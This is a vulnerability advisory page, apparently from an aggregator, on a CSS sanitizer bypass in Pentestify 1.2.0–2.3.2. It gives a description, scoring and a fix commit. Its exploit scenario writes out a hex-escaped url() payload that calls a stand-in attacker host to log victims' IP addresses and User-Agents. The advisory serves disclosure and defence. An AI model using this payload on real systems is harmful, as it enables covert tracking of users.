EUVD-2026-62416
GHSA-6xgw-5q2h-p29f
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-accessible with PR:L for authenticated attacker, UI:R for victim browser interaction, S:C because victim browsers are affected, C:L for IP and User-Agent disclosure, I:L for attacker-controlled CSS rendered in victim context.
Primary rating from Vendor (Secur0).
CVSS VectorVendor: Secur0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
2DescriptionCVE.org
Incorrect Behavior Order: Validate Before Canonicalize in the report theme CSS sanitizer in maalfer Pentestify 1.2.0 through 2.3.2 allows an authenticated user to force outbound HTTP requests from other users' browsers, disclosing their IP address and User-Agent, via CSS hex escapes that reconstruct the url() function and evade the sanitizer blocklist
AnalysisAI
CSS sanitizer bypass in maalfer Pentestify 1.2.0-2.3.2 allows an authenticated low-privilege user to inject CSS that victim users' browsers silently execute, leaking their real IP address and User-Agent string to an attacker-controlled endpoint. The root cause (CWE-180) is that the report theme sanitizer evaluates its blocklist against raw user input before decoding CSS hex escape sequences, so the literal substring 'url(' never appears in the checked text and the block is trivially evaded using sequences like '\75 rl('. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated Pentestify account with permission to create or modify report themes - the CVSS vector PR:L confirms that low-privilege authentication is sufficient; unauthenticated access is not exploitable. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N) correctly characterizes this as a medium-severity issue: network-accessible with low attack complexity, but constrained by the requirement for both an authenticated attacker (PR:L) and passive victim interaction (UI:P). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Pentestify user with theme-editing access creates a report theme and injects CSS such as .header { background: \75 rl(https://attacker.example/collect) } into a theme CSS field; the server-side sanitizer passes the input because the literal string 'url(' is absent. When a victim team member opens any report rendered with that theme, their browser decodes \75 to 'u', executes the reconstructed url() call, and sends an HTTP GET to the attacker's server - logging the victim's real IP address and User-Agent without any visible indication to the victim. … |
| Remediation | Apply the vendor-supplied fix from the upstream commit at https://github.com/ccyl13/Pentestify/commit/1ed1aadadb02e959af470aac9958462048f7f5f5, which introduces the _decode_css_escapes() function and calls it inside sanitize_css_source() before blocklist evaluation. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Pentestify
View allStored cross-site scripting in maalfer Pentestify before 1.1.0 allows an authenticated attacker to inject arbitrary Java
Server-Side Request Forgery in Pentestify's PDF export pipeline allows authenticated users to induce the server-side hea
Stored cross-site scripting in Pentestify's finding renderer allows any authenticated user with finding-creation privile
Stored cross-site scripting in the Markdown renderer of maalfer Pentestify before v2.3.2 allows authenticated users to i
Stored XSS in Pentestify's user management component (all versions before 1.1.1) enables an authenticated attacker to ex
Same technique Information Disclosure
View allShare
External POC / Exploit Code
Leaving vuln.today